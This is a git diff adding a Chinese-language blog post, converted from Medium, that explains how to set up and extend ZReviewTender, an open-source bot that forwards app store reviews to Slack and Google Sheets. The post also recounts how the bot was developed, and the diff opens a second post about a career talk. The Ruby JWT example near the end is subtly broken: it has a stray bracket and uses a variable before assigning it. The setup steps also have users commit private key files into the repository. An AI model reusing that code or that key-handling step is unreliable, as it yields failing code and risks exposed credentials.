Project init 成功 + +可在 Repo 首頁 Readme 中的 + + +![](/assets/e36e48bb9265/1*aN9IkRx2BnAKFk8VW9ORVw.png) + + +區塊查看 Badge,如果 passing 即代表 init 成功。 + +或是點擊上方 Tab「Actions」\-> 等待「Init ZReviewTender」Workflow 執行完成: + + +![](/assets/e36e48bb9265/1*jThU3BbKvOT6nl51yklqtg.png) + + +執行完成狀態會變 3「✅ Init ZReviewTender」\-> Project init 成功。 + +5\. 確認 init 檔案及目錄是否正確建立 + + +![](/assets/e36e48bb9265/1*XEh53SaAjDV9YVk4T41O5Q.png) + + +點擊上方 Tab「Code」回到專案目錄,Project init 成功的話會出現: +- 目錄: `config/` +- 檔案: `config/android.yml` +- 檔案: `config/apple.yml` +- 目錄: `latestCheckTimestamp/` +- 檔案: `latestCheckTimestamp/.keep` + + +6\. 完成 Configuration 配置好 `android.yml` & `apple.yml` + +進入 `config/` 目錄完成 `android.yml` & `apple.yml` 檔案配置。 + + +![](/assets/e36e48bb9265/1*SiqBOk6BU38SRJAccC2hEg.png) + + +點擊進入要編輯的 confi YML 檔案點擊右上方「✏️」編輯檔案。 + +參考本文下方「 **設定** 」區塊完成配置好 `android.yml` & `apple.yml` 。 + + +![](/assets/e36e48bb9265/1*QZ0wQTtbcoN9tgyElYgYAw.png) + + +編輯完成後可以直接在下方「Commit changes」儲存設定。 + +上傳相應的 Key 檔案到 `config/` 目錄下: + + +![](/assets/e36e48bb9265/1*pAsWumPT57pLrY3Rn3UZhA.png) + + +在 `config/` 目錄下,右上角選擇「Add file」\->「Upload files」 + + +![](/assets/e36e48bb9265/1*CUVQlxKrJjsZZfy3jQErww.png) + + +將 config yml 裡配置的相應 Key、外部檔案路徑一併上傳到 `config/` 目錄下,拖曳檔案到「上方區塊」\-> 等待檔案上傳完成 \-> 下方直接「Commit changes」儲存。 + +上傳完成後回到 `/config` 目錄查看檔案是否正確儲存&上傳。 + + +![](/assets/e36e48bb9265/1*NyeoQzNvhnQJqoXvupnjgQ.png) + + +7\. 初始化 ZReviewTender \(手動觸發執行一次\) + + +![](/assets/e36e48bb9265/1*4QTEqr_DeFndqoWuP7YLsQ.png) + + +點擊上方 Tab「Actions」\-> 左方選擇「ZReviewTender」\-> 右方按鈕選擇「Run workflow」\-> 點擊「Run workflow」按鈕執行一次 ZReviewTender。 + +**點擊後,重新整理網頁** 會出現: + + +![](/assets/e36e48bb9265/1*_zTIiPyGsAejyH1BpggzhQ.png) + + +點擊「ZReviewTender」可進入查看執行狀況。 + + +![](/assets/e36e48bb9265/1*-Xso56jtpCVicp56w1y6sQ.png) + + +展開「 `Run ZreviewTender -r` 」區塊可查看執行 Log。 + +這邊可以看到出現 Error,因為我還沒配置好我的 config yml 檔案。 + +回頭調整好 android/apple config yml 後再回到 6\. 步驟一開始重新觸發執行一次。 + + +![](/assets/e36e48bb9265/1*SAiaDofDwiFI8Z3ndDGz2w.png) + + +查看 「 `ZReviewTender -r` 」區塊的 log 確認執行成功! + + +![](/assets/e36e48bb9265/1*W5PHoBzHQxV1WQ82TrZqfA.png) + + +Slack 指定接收最新評價訊息的 Channel 也會出現 init Success 成功訊息 🎉 + +8\. **Done\!** 🎉 🎉 🎉 + + +![](/assets/e36e48bb9265/1*8WcmenKeWSd92DjWeAQSGg.png) + + +配置完成!爾後每 6 個小時會自動爬取期間內的最新評價並轉發到你的 Slack Channel 中! + +可在 Repo 首頁 Readme 中的頂部查看最新一次執行狀況: + + +![](/assets/e36e48bb9265/1*sz4piAAAhOqEGP0EFbMmKg.png) + + +若出現 Error 即代表執行發生錯誤,請從 Acions \-> ZReviewTender 進入查看紀錄;如果有意外的錯誤,請 [**建立一個 Issue**](https://github.com/ZhgChgLi/ZReviewTender/issues){:target="_blank"} **附上紀錄資訊,將會盡快修正!** + + +> ❌❌❌執行發生錯誤同時 Github 也會寄信通知,不怕發生錯誤機器人掛掉但沒人發現! + + + + +#### Github Action 調整 + +您還可以依照自己需求配置 Github Action 執行規則。 + +點擊上方 Tab「Actions」\-> 左方「ZReviewTender」\-> 右上方「 `ZReviewTender.yml` 」 + + +![](/assets/e36e48bb9265/1*DnquiwKTgYY6R2ysNx8F1w.png) + + + +![](/assets/e36e48bb9265/1*onoSoGPahBOaAsBo6Ou-3g.png) + + +點擊右上方「✏️」編輯檔案。 + + +![](/assets/e36e48bb9265/1*HY_f3zOivHGQv5tuwUyw8Q.png) + + +**有兩個參數可供調整:** + +**cron** : 設定多久檢查一次有無新評價,預設是 `15 */6 * * *` 代表每 6 小時 15 分鐘會執行一次。 + + +![](/assets/e36e48bb9265/1*cUGMHPmjlMRV_rRXItN4qg.png) + + +可參考 [crontab\.guru](https://crontab.guru/#15_*/6_*_*_*){:target="_blank"} 依照自己的需求配置。 + + +> **請注意:** + + +> 1\. Github Action 使用的是 UTC 時區 + + +> 2\. 執行頻率越高會消耗越多Github Action 執行額度 + + + + + +**run** : 設定要執行的指令,可參考本文下方「 **執行** 」區塊,預設是 `ZReviewTender -r` +- 預設執行 Android App & Apple\(iOS/macOS App\): `ZReviewTender -r` +- 只執行 Android App: `ZReviewTender -g` +- 只執行 Apple\(iOS/macOS App\) App: `ZReviewTender -a` + + +編輯完成後點擊右上方「Start commit」選擇「Commit changes」儲存設定。 +#### 手動觸發執行 ZReviewTender + +參考前文「6\. 初始化 ZReviewTender \(手動觸發執行一次\)」 +#### 使用 Gem 安裝 + +如果熟悉 Gems 可以直接使用以下指令安裝 `ZReviewTender` +```bash +gem install ZReviewTender +``` +#### 使用 Gem 安裝 \(不熟悉 Ruby/Gems\) + +如果不熟悉 Ruby or Gems 可以 Follow 以下步驟 Step by Step 安裝 `ZReviewTender` +1. macOS 雖自帶 Ruby,但建議使用 [rbenv](https://github.com/rbenv/rbenv){:target="_blank"} or [rvm](https://rvm.io/){:target="_blank"} 安裝新的 Ruby 及管理 Ruby 版本 \(我使用 `2.6.5` \) +2. 使用 [rbenv](https://github.com/rbenv/rbenv){:target="_blank"} or [rvm](https://rvm.io/){:target="_blank"} 安裝 Ruby 2\.6\.5,並切換至 rbenv/rvm 的 Ruby +3. 使用 `which ruby` 確認當前使用的 Ruby **非** `/usr/bin/ruby` 系統 Ruby +4. Ruby 環境 Ok 後使用以下指令安裝 `ZReviewTender` + +```typescript +gem install ZReviewTender +``` +### 部署 — 想自行擴充功能 +#### 手動 +1. git clone [**ZReviewTender**](https://github.com/ZhgChgLi/ZReviewTender){:target="_blank"} Source Code +2. 確認 & 完善 Ruby 環境 +3. 進入目錄,執行 `bundle install` [**ZReviewTender**](https://github.com/ZhgChgLi/ZReviewTender){:target="_blank"} 安裝相關依賴 + + +Processor 建立方式可參考後面文章內容。 +### 設定 + +[**ZReviewTender**](https://github.com/ZhgChgLi/ZReviewTender){:target="_blank"} — 使用 yaml 檔設定 Apple/Google 評價機器人。 + +**\[推薦\]** 直接使用文章下方的執行指令 — 「產生設定檔案」: +```bash +ZReviewTender -i +``` + +直接產生空白的 `apple.yml` & `android.yml` 設定檔。 +#### Apple \(iOS/macOS App\) + +參考 apple\.example\.yml 檔案: + + +[![](https://repository-images.githubusercontent.com/516425682/1cc1a829-d87d-4d4a-925b-60471b912b23)](https://github.com/ZhgChgLi/ZReviewTender/blob/main/config/apple.example.yml){:target="_blank"} + + + +> ⚠️ 下載下來 `apple.example.yml` 後記得將檔名改成 `apple.yml` + + + + + +apple\.yml: +```yaml +platform: 'apple' +appStoreConnectP8PrivateKeyFilePath: '' # APPLE STORE CONNECT API PRIVATE .p8 KEY File Path +appStoreConnectP8PrivateKeyID: '' # APPLE STORE CONNECT API PRIVATE KEY ID +appStoreConnectIssueID: '' # APPLE STORE CONNECT ISSUE ID +appID: '' # APP ID +... +``` + +**appStoreConnectIssueID:** + + +![](/assets/e36e48bb9265/1*FsgHMeCGLVbuetBC4gIP_w.png) + +- App Store Connect \-> Keys \-> [App Store Connect API](https://appstoreconnect.apple.com/access/api){:target="_blank"} +- Issuer ID: `appStoreConnectIssueID` + + +**appStoreConnectP8PrivateKeyID & appStoreConnectP8PrivateKeyFilePath:** + + +![](/assets/e36e48bb9265/1*xBtkRFEKO2xHU26TMdXJZQ.png) + +- Name: `ZReviewTender` +- Access: `App Manager` + + + +![](/assets/e36e48bb9265/1*DvjiO3IkHEiPXp0M_dnnww.png) + +- appStoreConnectP8PrivateKeyID: `Key ID` +- appStoreConnectP8PrivateKeyFilePath: `/AuthKey_XXXXXXXXXX.p8` ,Download API Key,並將檔案放入與 config yml 同目錄下。 + + +**appID:** + + +![](/assets/e36e48bb9265/1*Ov2pyW9anRVqNCpbxhHtJQ.png) + + +appID: [App Store Connect](https://appstoreconnect.apple.com/apps){:target="_blank"} \-> App Store \-> General \-> App Information \-> `Apple ID` +#### GCP Service Account + +ZReviewTender 所使用到的 Google API 服務 \(撈取商城評價、Google 翻譯、Google Sheet\) 都是使用 Service Account 驗證方式。 + +可先依照 [**官方步驟建立 GCP & Service Account**](https://cloud.google.com/docs/authentication/production#create_service_account){:target="_blank"} 下載保存 GCP Service Account 身份權限金鑰 \( `*.json` \)。 +- 如要使用自動翻譯功能請確認 GCP有啟用 `Cloud Translation API` 和使用的 Service Account 也有加入 +- 如要使用記錄到 Google Sheet 功能請確認 GCP 有啟用 `Google Sheets API` 、 `Google Drive API` 和使用的 Service Account 也有加入 + + + +![](/assets/e36e48bb9265/1*VaVD2bdnbVwWCAuwhV90sA.png) + +#### Google Play Console \(Android App\) + +參考 android\.example\.yml 檔案: + + +[![](https://repository-images.githubusercontent.com/516425682/1cc1a829-d87d-4d4a-925b-60471b912b23)](https://github.com/ZhgChgLi/ZReviewTender/blob/main/config/android.example.yml){:target="_blank"} + + + +> ⚠️ 下載下來 `android.example.yml` 後記得將檔名改成 `android.yml` + + + + + +android\.yml: +```yaml +platform: 'android' +packageName: '' # Android App Package Name +keyFilePath: '' # Google Android Publisher API Credential .json File Path +playConsoleDeveloperAccountID: '' # Google Console Developer Account ID +playConsoleAppID: '' # Google Console App ID +...... +``` + +**packageName:** + + +![](/assets/e36e48bb9265/1*XRzKNGhVbBef7Hl9XPcaWw.png) + + +packageName: `com.XXXXX` 可於 [Google Play Console](https://play.google.com/console/){:target="_blank"} \-> Dashboard \-> App 中取得 + +**playConsoleDeveloperAccountID & playConsoleAppID:** + +可由 [Google Play Console](https://play.google.com/console/){:target="_blank"} \-> Dashboard \-> App 頁面網址中取得: + +[https://play\.google\.com/console/developers/ **playConsoleDeveloperAccountID** /app/ **playConsoleAppID** /app\-dashboard](https://play.google.com/console/developers/playConsoleDeveloperAccountID/app/playConsoleAppID/app-dashboard){:target="_blank"} + +將用於組合評價訊息連結,讓團隊可以點擊連結快速進入後台評價回覆頁面。 + +**keyFilePath:** + +最重要的資訊,GCP Service Account 身份權限金鑰 \( `*.json` \) + +需要按照 [官方文件](https://developers.google.com/android-publisher/getting_started){:target="_blank"} 步驟,建立 Google Cloud Project & Service Account 並到 Google Play Console \-> Setup \-> API Access 中完成啟用 `Google Play Android Developer API` &連結專案,到 GCP 點擊下載服務帳戶的 JSON 金鑰。 + + +![](/assets/e36e48bb9265/1*yQhAVOuF_CvM49Vayl40zA.png) + + + +![](/assets/e36e48bb9265/1*-AKvlk9P6R0YkuZwsXJaLA.png) + + +**JSON 金鑰範例內容如下:** + +gcp\_key\.json: +```javascript +{ + "type": "service_account", + "project_id": "XXXX", + "private_key_id": "XXXX", + "private_key": "-----BEGIN PRIVATE KEY-----\nXXXX\n-----END PRIVATE KEY-----\n", + "client_email": "XXXX@XXXX.iam.gserviceaccount.com", + "client_id": "XXXX", + "auth_uri": "https://accounts.google.com/o/oauth2/auth", + "token_uri": "https://oauth2.googleapis.com/token", + "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs", + "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/XXXX.iam.gserviceaccount.com" +} +``` +- keyFilePath: `/gcp_key.json` 金鑰檔案路徑,將檔案放入與 config yml 同目錄下。 + +#### Processors +```yaml +processors: + - FilterProcessor: + class: "FilterProcessor" + enable: true # enable + keywordsInclude: [] # keywords you want to filter out + ratingsInclude: [] # ratings you want to filter out + territoriesInclude: [] # territories you want to filter out + - GoogleTranslateProcessor: # Google Translate Processor, will translate review text to your language, you can remove whole block if you don't needed it. + class: "GoogleTranslateProcessor" + enable: false # enable + googleTranslateAPIKeyFilePath: '' # Google Translate API Credential .json File Path + googleTranslateTargetLang: 'zh-TW' # Translate to what Language + googleTranslateTerritoriesExclude: ["TWN","CHN"] # Review origin Territory (language) that you don't want to translate. + - SlackProcessor: # Slack Processor, resend App Review to Slack. + class: "SlackProcessor" + enable: true # enable + slackTimeZoneOffset: "+08:00" # Review Created Date TimeZone + slackAttachmentGroupByNumber: "1" # 1~100, how many review message in 1 slack message. + slackBotToken: "" # Slack Bot Token, send slack message throught Slack Bot. + slackBotTargetChannel: "" # Slack Bot Token, send slack message throught Slack Bot. (recommended, first priority) + slackInCommingWebHookURL: "" # Slack In-Comming WebHook URL, Send slack message throught In-Comming WebHook, not recommended, deprecated. + ...More Processors... +``` + +ZReviewTender 自帶四個 Processor,先後順序會影響到資料處理流程 FilterProcessor\->GoogleTranslateProcessor\->SlackProcessor\-> GoogleSheetProcessor。 + +**FilterProcessor:** + +依照指定條件過濾撈取的評價,只處理符合條件的評價。 +- class: `FilterProcessor` 無需調整,指向 lib/Processors/ `FilterProcessor` \.rb +- enable: `true` / `false` 啟用此 Processor or Not +- keywordsInclude: \[“ `關鍵字1` ”,“ `關鍵字2` ”…\] 篩選出內容包含這些關鍵字的評價 +- ratingsInclude: \[ `1` , `2` …\] 1~5 篩選出包含這些評價分數的評價 +- territoriesInclude: \[“ `zh-hant` ”,” `TWN` ”…\] 篩選出包含這些地區\(Apple\)或語系\(Android\)的評價 + + +**GoogleTranslateProcessor:** + +將評價翻譯成指定語言。 +- class: `GoogleTranslateProcessor` 無需調整,指向 lib/Processors/ `GoogleTranslateProcessor` \.rb +- enable: `true` / `false` 啟用此 Processor or Not +- googleTranslateAPIKeyFilePath: `/gcp_key.json` GCP Service Account 身份權限金鑰 File Path `*.json` ,將檔案放入與 config yml 同目錄下,內容範例可參考上方 Google Play Console JSON 金鑰範例。 +\(請確認該 JSON key 之 service account 有 `Cloud Translation API` 使用權限\) +- googleTranslateTargetLang: `zh-TW` 、 `en` …目標翻譯語言 +- googleTranslateTerritoriesExclude: \[“ `zh-hant` ”,” `TWN` ”…\] 不需翻譯的地區\(Apple\)或語系\(Android\) + + +**SlackProcessor:** + +轉發評價到 Slack。 +- class: `SlackProcessor` 無需調整,指向 lib/Processors/ `SlackProcessor` \.rb +- enable: `true` / `false` 啟用此 Processor or Not +- slackTimeZoneOffset: `+08:00` 評價時間顯示時區 +- slackAttachmentGroupByNumber: `1` 設定幾則 Reviews 合併成同一則訊息,加速發送;預設 1 則 Review 1 則 Slack 訊息。 +- slackBotToken: `xoxb-xxxx-xxxx-xxxx` [Slack Bot Token](https://slack.com/help/articles/115005265703-Create-a-bot-for-your-workspace){:target="_blank"} ,Slack 建議建立一個 Slack Bot 包含 `postMessages` Scope 並使用其發送 Slack 訊息 +- slackBotTargetChannel: `CXXXXXX` 群組 ID \( **非群組名稱** \),Slack Bot 要發送到哪個 Channel 群組;且 **需要把你的 Slack Bot 加入到該群組** +- slackInCommingWebHookURL: `https://hooks.slack.com/services/XXXXX` 使用舊的 [InComming WebHookURL](https://slack.com/apps/A0F7XDUAZ-incoming-webhooks){:target="_blank"} 發送訊息到 Slack,注意!Slack 不建議再繼續使用此方法發送訊息。 + + + +> Please note, this is a legacy custom integration — an outdated way for teams to integrate with Slack\. These integrations lack newer features and they will be deprecated and possibly removed in the future\. **We do not recommend their use\.** Instead, we suggest that you check out their replacement: [Slack apps](https://api.slack.com/start){:target="_blank"} \. + + + + +- slackBotToken 與 slackInCommingWebHookURL,SlackProcessor 會優選選擇使用 slackBotToken + + + +![](/assets/e36e48bb9265/1*D1kt_6jH0UaJo2kvf9l5Qw.png) + + + +![](/assets/e36e48bb9265/1*UjE_LxtZ0adwS6tr2-vgbw.png) + +### GoogleSheetProcessor + +紀錄評價到 Google Sheet。 +- class: `GoogleSheetProcessor` 無需調整,指向 lib/Processors/ `SlackProcessor` \.rb +- enable: `true` / `false` 啟用此 Processor or Not +- googleSheetAPIKeyFilePath: `/gcp_key.json` GCP Service Account 身份權限金鑰 File Path `*.json` ,將檔案放入與 config yml 同目錄下,內容範例可參考上方 Google Play Console JSON 金鑰範例。 +\(請確認該 JSON key 之 service account 有 `Google Sheets API` 、 `Google Drive API` 使用權限\) +- googleSheetTimeZoneOffset: `+08:00` 評價時間顯示時區 +- googleSheetID: `Google Sheet ID` +可由 Google Sheet 網址中取得:https://docs\.google\.com/spreadsheets/d/ `googleSheetID` / +- googleSheetName: Sheet 名稱, e\.g\. `Sheet1` +- keywordsInclude: \[“ `關鍵字1` ”,“ `關鍵字2` ”…\] 篩選出內容包含這些關鍵字的評價 +- ratingsInclude: \[ `1` , `2` …\] 1~5 篩選出包含這些評價分數的評價 +- territoriesInclude: \[“ `zh-hant` ”,” `TWN` ”…\] 篩選出包含這些地區\(Apple\)或語系\(Android\)的評價 +- values: \[ \] 評價資訊的欄位組合 + +``` +%TITLE% 評價標題 +%BODY% 評價內容 +%RATING% 評價分數 1~5 +%PLATFORM% 評價來源平台 Apple or Android +%ID% 評價ID +%USERNAME% 評價 +%URL% 評價前往連結 +%TERRITORY% 評價地區(Apple)或評價語系(Android) +%APPVERSION% 被評價的 App 版本 +%CREATEDDATE% 評價建立日期 +``` + +例如我的 Google Sheet 欄位如下: +``` +評價分數,評價標題,評價內容,評價資訊 +``` + +則 values 可設定成: +``` +values: ["%TITLE%","%BODY%","%RATING%","%PLATFORM% - %APPVERSION%"] +``` +#### 自訂 Processor 串接自己的工作流程 + +若需要自訂 Processor 請改用手動部署,因 gem 上的 ZReviewTender 已打包無法動態調整。 + +您可參考 [lib/Processors/ProcessorTemplate\.rb](https://github.com/ZhgChgLi/ZReviewTender/blob/main/lib/Processors/ProcessorTemplate.rb){:target="_blank"} 建立您的擴充功能: +```ruby +$lib = File.expand_path('../lib', File.dirname(__FILE__)) + +require "Models/Review" +require "Models/Processor" +require "Helper" +require "ZLogger" + +# Add to config.yml: +# +# processors: +# - ProcessorTemplate: +# class: "ProcessorTemplate" +# parameter1: "value" +# parameter2: "value" +# parameter3: "value" +# ... +# + +class ProcessorTemplate < Processor + + def initialize(config, configFilePath, baseExecutePath) + # init Processor + # get paraemter from config e.g. config["parameter1"] + # configFilePath: file path of config file (apple.yml/android.yml) + # baseExecutePath: user excute path + end + + def processReviews(reviews, platform) + if reviews.length < 1 + return reviews + end + + ## do what your want to do with reviews... + + ## return result reviews + return reviews + end +end +``` + +**initialize 會給予:** +- config Object: 對應 config yml 內的設定值 +- configFilePath: 使用的 config yml 檔案路徑 +- baseExecutePath: 使用者在哪個路徑執行 ZReviewTender + + +**processReviews\(reviews, platform\):** + +爬取完新評價後,會進入這個 function 讓 Processor 有機會處理,處理完請 return 結果的 Reviews。 + +Review 資料結構定義在 lib/Models/ [Review\.rb](https://github.com/ZhgChgLi/ZReviewTender/blob/main/lib/Models/Review.rb){:target="_blank"} +#### 附註 + +`XXXterritorXXX` **參數:** +- Apple 使用地區:TWM/JPN… +- Android 使用語系:zh\-hant/en/… + + +**若不需要某個 Processor:** +可以設定 `enable: false` 或是直接移除該 Processor Config Block。 + +**Processors 執行順序可依照您的需求自行調整:** +e\.g\. 先執行 Filter 再執行翻譯再執行 Slack 再執行 Log to Google Sheet… +### 執行 + + +> ⚠️ 使用 Gem 可直接下 `ZReviewTender` ,若為手動部署專案請使用 `bundle exec ruby bin/ZReviewTender` 執行。 + + + + +#### 產生設定檔案: +```css +ZReviewTender -i +``` + +從 apple\.example\.yml & android\.example\.yml 產生 apple\.yml & android\.yml 到當前執行目錄的 `config/` 目錄下。 +#### 執行 Apple & Android 評價爬取: +```bash +ZReviewTender -r +``` +- 默認讀取 `/config/` 下 `apple.yml` & `android.yml` 設定 + +#### 執行 Apple & Android 評價爬取 & 指定設定檔目錄: +```bash +ZReviewTender --run=設定檔目錄 +``` +- 默認讀取 `/config/` 下 `apple.yml` & `android.yml` 設定 + +#### 只執行 Apple 評價爬取: +```bash +ZReviewTender -a +``` +- 默認讀取 `/config/` 下 `apple.yml` 設定 + +#### 只執行 Apple 評價爬取 & 指定設定檔位置: +```bash +ZReviewTender --apple=apple.yml設定檔位置 +``` +#### 只執行 Android 評價爬取: +```bash +ZReviewTender -g +``` +- 默認讀取 `/config/` 下 `android.yml` 設定 + +#### 只執行 Android 評價爬取 & 指定設定檔位置: +```bash +ZReviewTender --googleAndroid=android.yml設定檔位置 +``` +#### 清除執行紀錄回到初始設定 +```bash +ZReviewTender -d +``` + +會刪除 `/latestCheckTimestamp` 裡的 Timestamp 紀錄檔案,回到初始狀態,再次執行爬取會再次收到 init success 訊息: + + +![](/assets/e36e48bb9265/1*8qVrSt1pXwNncPG_GEgm9A.png) + +#### 當前 ZReviewTender 版本 +```bash +ZReviewTender -v +``` + +顯示當前 ZReviewTender 再 [RubyGem](https://rubygems.org/gems/ZReviewTender){:target="_blank"} 上的最新版本號。 +#### 更新 ZReviewTender 到最新版 \(rubygem only\) +```bash +ZReviewTender -n +``` +#### 第一次執行 + + +![](/assets/e36e48bb9265/1*62VO8mbJWxXHSeFo3fEUog.png) + + +第一次執行成功會發送初始化成功訊息到指定 Slack Channel,並在執行相應目錄下產生 `latestCheckTimestamp/Apple` , `latestCheckTimestamp/Android` 檔案紀錄最後爬取的評價 Timestamp。 + + +![](/assets/e36e48bb9265/1*U8vjWSHvY2RzUBcUbQoBvQ.png) + + +另外還會產生一個 `execute.log` 紀錄執行錯誤。 + + +![](/assets/e36e48bb9265/1*TR8IMke6FC1ZktFOiXUWLw.png) + +#### 設定排程持續執行 + +設定排程定時\( [crontab](https://crontab.guru/){:target="_blank"} \)持續執行爬取新評價,ZReviewTender 會爬取 `latestCheckTimestamp` 上次爬取的評價 Timestamp 到這次爬取時間內的新評價,並更新 Timestamp 紀錄檔案。 + +e\.g\. crontab: `15 */6 * * * ZReviewTender -r` + +另外要注意因為 Android API 只提供查詢近 7 天新增或編修的評價,所以排成週期請勿超過 7 天,以免有評價遺漏。 + + +![[https://developers\.google\.com/android\-publisher/reply\-to\-reviews\#retrieving\_a\_set\_of\_reviews](https://developers.google.com/android-publisher/reply-to-reviews#retrieving_a_set_of_reviews){:target="_blank"}](/assets/e36e48bb9265/0*4atedIT5pjLul10U.png) + +[https://developers\.google\.com/android\-publisher/reply\-to\-reviews\#retrieving\_a\_set\_of\_reviews](https://developers.google.com/android-publisher/reply-to-reviews#retrieving_a_set_of_reviews){:target="_blank"} +#### [Github Action 部署](https://github.com/marketplace/actions/zreviewtender-app-reviews-automatic-bot){:target="_blank"} + + +![[ZReviewTender App Reviews Automatic Bot](https://github.com/marketplace/actions/zreviewtender-app-reviews-automatic-bot){:target="_blank"}](/assets/e36e48bb9265/1*uDsJPUqtiltvCsNBFDTz-w.png) + +[ZReviewTender App Reviews Automatic Bot](https://github.com/marketplace/actions/zreviewtender-app-reviews-automatic-bot){:target="_blank"} +```yaml +name: ZReviewTender +on: + workflow_dispatch: + schedule: + - cron: "15 */6 * * *" #每六小時跑一次,可參照上方 crontab 自行更改設定 + +jobs: + ZReviewTender: + runs-on: ubuntu-latest + steps: + - name: ZReviewTender Automatic Bot + uses: ZhgChgLi/ZReviewTender@main + with: + command: '-r' #執行 Apple & iOS App 評價檢查,可參照上方改成其他執行指令 +``` +### **⚠️️️️️ 再次警告!** + +**務必確保你的設定檔及金鑰無法被公開存取,因其中的敏感資訊可能導致 App/Slack 權限被盜用;作者不對被盜用負任何責任。** + +如果有發生意外的錯誤,請 [**建立一個 Issue**](https://github.com/ZhgChgLi/ZReviewTender/issues){:target="_blank"} **附上紀錄資訊,將會盡快修正!** +### Done + +使用教學結束,再來是幕後開發祕辛分享。 + +========================= +#### 與 App Reviews 的戰爭 + +本以為去年總結的 [**AppStore APP’s Reviews Slack Bot 那些事**](../cb0c68c33994/) 及運用相關技術實現的 [**ZReviewsBot — Slack App Review 通知機器人**](../33f6aabb744f/) ,與整合 App 最新評價進入公司工作流程這件事就告一段落了;沒想到 Apple 居然在今年 [更新了 App Store Connect API](../f1365e51902c/) ,讓這件事能持續演進。 + +去年總結出來的 Apple iOS/macOS App 撈取評價的解決方案: +- Public URL API \(RSS\) ⚠️: 無法彈性篩選、給的資訊也少、有數量上限、還有我們偶爾會遇到資料錯亂問題,很不穩定;官方未來可能棄用 +- 透過 [**Fastlane**](https://fastlane.tools/){:target="_blank"} **— [SpaceShip](https://github.com/fastlane/fastlane/tree/master/spaceship){:target="_blank"}** 幫我們封裝複雜的網頁操作、Session 管理,去 App Store Connection 網站後台撈取評價資料 \(等於是起一個網頁模擬器爬蟲去後台爬資料\)。 + + +依照去年做法就只能使用方法二來達成,但效果不太完美;Session 會過期,需要人工定期更新,且無法放在 CI/CD Server 上,因為 IP 一變 Session 會馬上過期。 + + +![[important\-note\-about\-session\-duration](https://docs.fastlane.tools/best-practices/continuous-integration/#important-note-about-session-duration){:target="_blank"} by Fastlane](/assets/e36e48bb9265/1*N6B1H_PdtB4bNDrX4BIYRA.png) + +[important\-note\-about\-session\-duration](https://docs.fastlane.tools/best-practices/continuous-integration/#important-note-about-session-duration){:target="_blank"} by Fastlane + +今年收到 Apple [更新了 App Store Connect API](../f1365e51902c/) 消息後立馬著手重新設計新的評價機器人,除了改用官方 API 外;還優化了之前的架構設計及更熟悉 Ruby 用法。 +#### [App Store Connect API](../f1365e51902c/) 開發上遇到的問題 +- [List All Customer Reviews for an App](https://developer.apple.com/documentation/appstoreconnectapi/list_all_customer_reviews_for_an_app){:target="_blank"} 這個 Endpoint 不會給 App 版本資訊 + + +很詭異,只能 workaround 先打這個 endpoint 篩出最新評價,再打 [List All App Store Versions for an App](https://developer.apple.com/documentation/appstoreconnectapi/list_all_app_store_versions_for_an_app){:target="_blank"} & [List All Customer Reviews for an App Store Version](https://developer.apple.com/documentation/appstoreconnectapi/list_all_customer_reviews_for_an_app_store_version){:target="_blank"} 組合出 App 版本資訊。 +#### AndroidpublisherV3 開發上遇到的問題 +- API 不提供取得所有評價列表的方法,只能取得近 7 天新增/編修的評價。 +- 同樣使用 JWT 串接 Google API \(不依賴相關類別庫 e\.g\. google\-apis\-androidpublisher\_v3\) +- 附上個 Google API JWT 產生&使用範例: + +```ruby +require "jwt" +require "time" + +payload = { + iss: "GCP API 身份權限金鑰 (*.json) 檔案中的 client_email 欄位", + sub: "GCP API 身份權限金鑰 (*.json) 檔案中的 client_email 欄位", + scope: ["https://www.googleapis.com/auth/androidpublisher"]].join(' '), + aud: "GCP API 身份權限金鑰 (*.json) 檔案中的 token_uri 欄位", + iat: Time.now.to_i, + exp: Time.now.to_i + 60*20 +} + +rsa_private = OpenSSL::PKey::RSA.new("GCP API 身份權限金鑰 (*.json) 檔案中的 private_key 欄位") +token = JWT.encode payload, rsa_private, 'RS256', header_fields = {kid:"GCP API 身份權限金鑰 (*.json) 檔案中的 private_key_id 欄位", typ:"JWT"} + +uri = URI("API 身份權限金鑰 (*.json) 檔案中的 token_uri 欄位") +https = Net::HTTP.new(uri.host, uri.port) +https.use_ssl = true +request = Net::HTTP::Post.new(uri) +request.body = "grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Ajwt-bearer&assertion=#{token}" + +response = https.request(request).read_body + +bearer = result["access_token"] + +### use bearer token + +uri = URI("https://androidpublisher.googleapis.com/androidpublisher/v3/applications/APP_PACKAGE_NAME/reviews") +https = Net::HTTP.new(uri.host, uri.port) +https.use_ssl = true + +request = Net::HTTP::Get.new(uri) +request['Authorization'] = "Bearer #{bearer}"; + +response = https.request(request).read_body + +result = JSON.parse(response) + +# success! +``` + + +[![](https://repository-images.githubusercontent.com/516425682/1cc1a829-d87d-4d4a-925b-60471b912b23)](https://github.com/ZhgChgLi/ZReviewTender){:target="_blank"} + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/zreviewtender-%E5%85%8D%E8%B2%BB%E9%96%8B%E6%BA%90%E7%9A%84-app-reviews-%E7%9B%A3%E6%8E%A7%E6%A9%9F%E5%99%A8%E4%BA%BA-e36e48bb9265){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2022-12-02-4b9d09cea5f0.md b/_posts/zmediumtomarkdown/2022-12-02-4b9d09cea5f0.md new file mode 100644 index 000000000..84fb13a4d --- /dev/null +++ b/_posts/zmediumtomarkdown/2022-12-02-4b9d09cea5f0.md @@ -0,0 +1,185 @@ +--- +title: "Pinkoi 2022 Open House for GenZ — 15 Mins Career Talk" +author: "ZhgChgLi" +date: 2022-12-02T08:11:49.861+0000 +last_modified_at: 2023-08-05T16:17:01.319+0000 +categories: "ZRealm Dev." +tags: ["ios-app-development","pinkoi","open-house","tech-career","career-advice"] +description: "Pinkoi Developers’ Night 2022 年末交流會 —  15 分鐘職涯分享演講" +image: + path: /assets/4b9d09cea5f0/1*dcReAaKaAOJLwsfppBAkXA.png +render_with_liquid: false +--- + +### Pinkoi 2022 Open House for GenZ — 15 Mins Career Talk + +Pinkoi Developers’ Night 2022 年末交流會 — 15 分鐘職涯分享演講 + +#### Pinkoi Developers’ Night 2022 年末交流會 + + +![](/assets/4b9d09cea5f0/1*dcReAaKaAOJLwsfppBAkXA.png) + + +活動連結: 